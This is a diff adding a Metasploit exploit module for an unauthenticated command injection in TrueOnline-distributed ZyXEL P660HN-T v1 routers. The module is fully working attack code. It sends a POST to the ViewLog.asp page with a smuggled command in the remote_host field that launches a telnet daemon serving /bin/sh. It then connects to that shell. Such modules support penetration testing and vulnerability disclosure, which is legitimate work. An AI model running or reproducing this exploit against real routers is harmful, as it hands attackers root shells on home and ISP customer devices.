|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection', |
| 16 | + 'Description' => %q{ |
| 17 | + TrueOnline is a major ISP in Thailand, and it distributes a customised version of |
| 18 | + the ZyXEL P660HN-T v1 router. This customised version has an unauthenticated command |
| 19 | + injection vulnerability in the remote log forwarding page. |
| 20 | + This module was tested in an emulated environment, as the author doesn't have access to the |
| 21 | + Thai router any more. Any feedback should be sent directly to the module's author, as well as |
| 22 | + to the Metasploit project. |
| 23 | + There are other language strings in the firmware, so it is likely that this firmware is not only |
| 24 | + distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Platform' => 'unix', |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'], |
| 35 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'], |
| 36 | + ['URL', 'https://blogs.securiteam.com/index.php/archives/2910'] |
| 37 | + ], |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + [ 'P660HN-T v1', {}], |
| 41 | + ], |
| 42 | + 'Privileged' => true, |
| 43 | + 'Arch' => ARCH_CMD, |
| 44 | + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, |
| 45 | + 'DisclosureDate' => 'Dec 26 2016', |
| 46 | + 'DefaultTarget' => 0)) |
| 47 | + register_options( |
| 48 | + [ |
| 49 | + Opt::RPORT(80), |
| 50 | + OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]), |
| 51 | + ], self.class) |
| 52 | + end |
| 53 | + |
| 54 | + def check |
| 55 | + res = send_request_cgi!({ |
| 56 | + 'uri' => '/cgi-bin/authorize.asp', |
| 57 | + 'method' => 'GET' |
| 58 | + }) |
| 59 | + if res && res.body =~ /ZyXEL P-660HN-T1A/ |
| 60 | + return Exploit::CheckCode::Detected |
| 61 | + else |
| 62 | + return Exploit::CheckCode::Unknown |
| 63 | + end |
| 64 | + end |
| 65 | + |
| 66 | + |
| 67 | + def exploit |
| 68 | + print_status("#{peer} - Attempting to exploit router...") |
| 69 | + send_request_cgi({ |
| 70 | + 'uri' => '/cgi-bin/ViewLog.asp', |
| 71 | + 'method' => 'POST', |
| 72 | + 'vars_post' => { |
| 73 | + 'remote_submit_Flag' => '1', |
| 74 | + 'remote_syslog_Flag' => '1', |
| 75 | + 'RemoteSyslogSupported' => '1', |
| 76 | + 'remote_host' => ";utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d;#", |
| 77 | + 'remoteSubmit' => 'Save' |
| 78 | + } |
| 79 | + }) |
| 80 | + |
| 81 | + sleep 5 |
| 82 | + |
| 83 | + begin |
| 84 | + ctx = { 'Msf' => framework, 'MsfExploit' => self } |
| 85 | + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 }) |
| 86 | + if not sock.nil? |
| 87 | + print_good("#{peer} - Success, shell incoming!") |
| 88 | + return handler(sock) |
| 89 | + end |
| 90 | + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e |
| 91 | + sock.close if sock |
| 92 | + end |
| 93 | + |
| 94 | + fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.") |
| 95 | + end |
| 96 | +end |
0 commit comments